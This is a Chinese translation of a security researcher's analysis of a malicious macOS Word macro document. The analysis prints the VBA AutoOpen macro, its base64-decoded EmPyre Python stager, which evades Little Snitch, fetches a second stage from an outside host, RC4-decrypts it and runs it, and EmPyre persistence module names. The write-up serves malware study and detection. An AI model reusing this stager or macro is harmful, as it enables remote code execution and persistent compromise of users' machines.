简介
今天发现了很多MacOS上的恶意软件!首先NEX(@botherder)发布了一个很棒的writeup,iKittens: iranian actor resurfaces with malware for mac (macdownloader) ,里面详细介绍了一些新型的MacOS的恶意软件。不久之后,我的朋友Scott(@ 0xdabbad00)提醒我注意以下推特:
我很好奇,这是一个针对Mac用户的恶意Word文档,我取得了样本("U.S. Allies and Rivals Digest Trump鈥檚 Victory - Carnegie Endowment for International Peace.docm"),并注意到,只有4 个AV引擎将它标记为恶意:
如果你想一起分析请务必小心,我上传恶意文档,你可以在这里找到它(密码:infect3d)。
可以很容易地确认,该文件是一个Microsoft Word文档:
|
1
2
|
$ file "U.S. Allies and Rivals Digest Trump鈥檚 Victory - Carnegie Endowment for International Peace.docm"Microsoft Word 2007+ |
当你试图用Word打开该文档时(一个隔离的MacOS虚拟机内)会触发一个警告:“此文件包含宏”的警告:
分析
让我们提取嵌入的宏来分析文档中的恶意逻辑。我们可以使用的ClamAV的sigtool提取嵌入的宏。
首先,如在线帮助所说的,如今的Word文件实际上是“存储在Zip文件的XML文件”以及“VBA宏通常存储在Zip压缩文件内的二进制OLE文件,名为vbaProject.bin。 所以,先解压('unzip')文档:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
$ unzip "U.S. Allies and Rivals Digest Trump鈥檚 Victory - Carnegie Endowment for International Peace.docm" inflating: [Content_Types].xml inflating: _rels/.rels inflating: word/_rels/document.xml.rels inflating: word/document.xml inflating: word/theme/theme1.xml inflating: word/vbaProject.bin inflating: word/_rels/vbaProject.bin.rels inflating: word/vbaData.xml inflating: word/settings.xml inflating: word/stylesWithEffects.xml inflating: word/styles.xml inflating: docProps/core.xml inflating: word/fontTable.xml inflating: word/webSettings.xml inflating: docProps/app.xml |
然后将word/vbaProject.bin文件传递给sigtool命令,并使用--vba标志提取嵌入的宏:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
$sigtool --vba word/vbaProject.bin -------------- start of code ------------------Attribute VB_Name = "ThisDocument"Attribute VB_Base = "1Normal.ThisDocument"Attribute VB_GlobalNameSpace = False...Sub autoopen()FisherEnd Sub....Public Declare Function system Lib "libc.dylib" (ByVal command As String) As LongPublic Sub Fisher()Dim result As LongDim cmd As Stringcmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"cmd = cmd + "llZF9jb250ZXh0Jyk6c3NsLl9jcmVhdGVfZGVmYXVsdF9odH"cmd = cmd + "Rwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF"cmd = cmd + "9jb250ZXh0OwppbXBvcnQgc3lzLCB1cmxsaWIyO2ltcG9ydC"....cmd = cmd + "BlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl"cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | python &")End Sub |
根据微软所说的,“当打开一个新文档时,AutoOpen宏会开始运行”。 因此,只要用户打开Mac上的这个文件,在Word中(假定已启用宏),Fisher函数就会自动执行。
Fisher函数对数据进行base64解码(保存在CMD变量),然后通过Python执行它。使用Python的base64模块,我们可以轻松解码的数据:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
$ python>>> import base64>>> cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBv .... ">>> base64.b64decode(cmd)...dXFprvsgMBSIyPf = 'atfMzZOqVLbcj'import ssl;if hasattr(ssl, '_create_unverified_context'): ssl._create_default_https_context = ssl._create_unverified_context;import sys, urllib2;import re, subprocess;cmd = "ps -ef | grep Little\ Snitch | grep -v grep"ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)out = ps.stdout.read()ps.stdout.close()if re.search("Little Snitch", out): sys.exit()o = __import__({ 2: 'urllib2', 3: 'urllib.request'}[sys.version_info[0]], fromlist = ['build_opener']).build_opener();UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';o.addheaders = [('User-Agent', UA)];a = o.open('https://www.securitychecking.org:443/index.asp').read();key = 'fff96aed07cb7ea65e7f031bd714607d';S, j, out = range(256), 0, []for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i]i = j = 0for char in a: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))exec(''.join(out)) |
Python代码!宏中包含的已解码的python很容易阅读。简而言之:
1. 检查以确保LittleSnitch没有运行
2. 从https://www.securitychecking.org:443/index.asp 上下载第二级的攻击载荷
3. 使用RC4解密这个有效载荷(key:fff96aed07cb7ea65e7f031bd714607d)
4. 执行这个已解密的攻击载荷
python代码看起来很熟悉吗?是! 它几乎和开源的EmPyre一模一样。特别是lib/common/stagers.py文件:
EmPyre是一个“基于密码学安全通信上的纯Python开发后利用代理和灵活的框架” 好的,所以攻击者正在使用开源的多阶段后利用代理。
如上所述,第一级的Python代码的目标是要下载和执行第二阶段组件,它从https://www.securitychecking.org:443/index.asp 上下载。很抱歉,此文件现在无法访问。然而,这个文件可能只是Empyre的第二阶段组件(虽然攻击者可以下载并执行其他东西)。 Empyre的第二阶段组件是持久代理,它使远程攻击者能够继续访问受感染的主机。它如何持久化的呢?它是可配置的:
|
1
2
|
(EmPyre) > usemodule persistencemutli/crontab osx/CreateHijacker osx/launchdaemonexecutable osx/loginhook |
所以持久化可能通过以下方式实现:
cronjob
dylib劫持
启动守护程序
登录hook
我不会说谎,我相当失望地看到Empyre(包含cite)的dylib劫持技术--我在几年前在VirusBulletin就详细分析过了。
|
1
2
3
4
5
6
7
8
|
CreateHijacker.py# list of any references/other comments 'Comments': [ 'comment', 'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x' ]... adapted from @patrickwardle's script |
如果恶意软件的第二阶段组件作为一个cronjob或守护进程来实现持久化,BlockBlock会尝试检测持久化:
我很可能会更新BlockBlock来监视login items持久化,尽管这是一个非常古老和不赞成使用的持久性技术。KnockKnock和Dylib劫持扫描器都能够发现持久化组件。
EmPyre的持久性组件还可以被配置来运行多种EmPyre模块(如:lib/modules/collection/osx)。这些模块允许攻击者执行恶意操作,如启用摄像头,dump钥匙链,以及访问用户的浏览器历史:
好吧,关于www.securitychecking.org 网站有什么呢?正如@noar指出的,VirusTotal扫描之前的网站,它解析为185.22.174.37:
此IP位于俄罗斯,并与多起恶意行为有关,如钓鱼网站:
结论
总体来说,这一恶意软件样本不是特别先进。它依赖于用户交互(在Microsoft Word中打开恶意文档(而不是Apple的页面)),以及需要启用宏。大多数用户知道从不允许宏!此外,使用开源的组件可能会导致检测软件检测到它!
由于宏是“合法的”功能(相对于内存崩溃漏洞),恶意软件也不必担心在系统中崩溃或被修补。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://objective-see.com/blog/blog_0x17.html0day









文章评论